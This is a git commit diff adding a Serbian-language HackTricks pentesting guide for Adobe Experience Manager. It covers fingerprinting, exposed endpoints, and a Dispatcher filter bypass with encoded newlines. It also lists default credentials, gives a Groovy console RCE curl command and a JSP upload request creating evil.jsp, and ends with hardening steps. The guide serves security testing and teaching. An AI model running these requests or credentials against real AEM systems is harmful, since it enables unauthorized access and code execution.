mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
6150818994
commit
36aba30d51
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Pronađite ranjivosti i pogrešne konfiguracije sa [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, deo Adobe Experience Cloud-a) je preduzetnički CMS koji radi na Apache Sling/Felix (OSGi) i Java Content Repository (JCR).
|
||||
> Sa perspektive napadača, AEM instance vrlo često izlažu opasne razvojne krajnje tačke, slabe Dispatcher pravila, podrazumevane akreditive i dugačak niz CVE-ova koji se zakrpljuju svaka tri meseca.
|
||||
|
||||
Lista provere u nastavku fokusira se na **spolja dostupnu (unauth) površinu napada** koja se stalno pojavljuje u stvarnim angažmanima (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Other quick indicators:
|
||||
* `/etc.clientlibs/` statička putanja prisutna (vraća JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` stranica za prijavu sa “Adobe Experience Manager” banerom.
|
||||
* `</script><!--/* CQ */-->` komentar na dnu HTML-a.
|
||||
|
||||
---
|
||||
|
||||
## 2. Visokovredni neautentifikovani krajnji tački
|
||||
|
||||
Putanja | Šta dobijate | Napomene
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR čvorovi putem **DefaultGetServlet** | Često blokirano, ali *Dispatcher bypass* (vidi ispod) funkcioniše.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Curjenje stabla stranica, unutrašnjih putanja, korisničkih imena.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konzola | 403 po defaultu; ako je izloženo i pronađeni su kredencijali ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Menadžer paketa | Omogućava autentifikovane sadržajne pakete → JSP payload upload.
|
||||
`/etc/groovyconsole/**` | AEM Groovy konzola | Ako je izložena → proizvoljna Groovy / Java izvršenja.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Audit logovi | Otkriće informacija.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vektor.
|
||||
|
||||
### Dispatcher bypass trik
|
||||
Većina produkcionih sajtova se nalazi iza *Dispatcher*-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije **posle tačke ili kodirane nove linije**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Jedan zahtev poput gore navedenog često otkriva čvorove korisničkog profila sa email adresama. P-T Partners je objavio dobre smernice o ovoj slabosti. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Uobičajene pogrešne konfiguracije (još uvek prisutne 2025)
|
||||
|
||||
1. **Anonimni POST servlet** – `POST /.json` sa `:operation=import` omogućava vam da postavite nove JCR čvorove. Blokiranje `*.json` POST u Dispatcher-u to rešava. 【】
|
||||
2. **Korisnički profili dostupni svima** – podrazumevani ACL dodeljuje `jcr:read` na `/home/users/**/profile/*` svima.
|
||||
3. **Podrazumevani kredencijali** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** omogućen ⇒ reflektovani XSS putem `?debug=layout` (CVE-2016-7882, još uvek pronađen na nasleđenim instalacijama 6.4).
|
||||
5. **Groovy Console izložen** – daljinsko izvršavanje koda slanjem Groovy skripte:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Nedavne ranjivosti (cadence servisnog paketa)
|
||||
|
||||
Kvartal | CVE | Pogođeni | Uticaj
|
||||
------- | --- | -------- | ------
|
||||
Dec 2024 | **CVE-2024-43711** | 6.5.21 i ranije | Nepravilna validacija ulaza → **Izvršavanje proizvoljnog koda** (zahteva nisku privilegiju). 【】
|
||||
Dec 2024 | CVE-2024-43724/26 | 6.5.21 i ranije | DOM / Stored XSS u Move Page Wizard. 【】
|
||||
Dec 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-bazirani XSS putem kreirane URL adrese. 【】
|
||||
Dec 2022 | CVE-2022-30683 | ≤ 6.5.13 | Greška u dizajnu kriptografije → dekripcija tajne (zahteva niske privilegije). 【】
|
||||
|
||||
Uvek proverite *APSB* bilten koji odgovara servisnom paketu kupca i zatražite najnoviji **6.5.22** ili *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Iskoristive snimke
|
||||
|
||||
### 5.1 RCE putem zaobilaženja dispečera + JSP upload
|
||||
Ako je anonimno pisanje moguće:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Sada zatražite `/content/evil.jsp` – JSP se pokreće sa AEM korisnikom procesa.
|
||||
|
||||
### 5.2 SSRF do RCE (istorijski < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` iz **aem-hacker** automatizuje celu proceduru. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Alati
|
||||
|
||||
* **aem-hacker** – skripta za enumeraciju kao švajcarski nož, podržava zaobilaženje dispečera, detekciju SSRF, provere podrazumevanih kredencijala i još mnogo toga.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – rekurzivno zahteva `/_jcr_content.(json|html)` da otkrije skrivene komponente.
|
||||
* **osgi-infect** – otpremite zloćudni OSGi paket putem `/system/console/bundles` ako su dostupni kredencijali.
|
||||
|
||||
---
|
||||
|
||||
## 7. Lista za učvršćivanje (za preporuke u vašem izveštaju)
|
||||
|
||||
1. Održavajte instancu na **najnovijem kumulativnom servisnom paketu** (od jula 2025: 6.5.22).
|
||||
2. Uklonite/rotirajte podrazumevane naloge; primenite SSO/SAML.
|
||||
3. Pojačajte **Dispatcher filtere** – odbijte `;`, kodirane nove redove, i `*.json` ili `*.querybuilder.json` za anonimne korisnike.
|
||||
4. Onemogućite ili zaštitite konzole (`/system/console`, `/crx/*`, `/etc/groovyconsole`) sa IP listama dozvola.
|
||||
5. Primijenite paket *Anonymous Permission Hardening* koji je isporučio Adobe.
|
||||
|
||||
## Reference
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Bezbednosna ažuriranja za Adobe Experience Manager (decembar 2024)”.
|
||||
* 0ang3el – aem-hacker alat (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user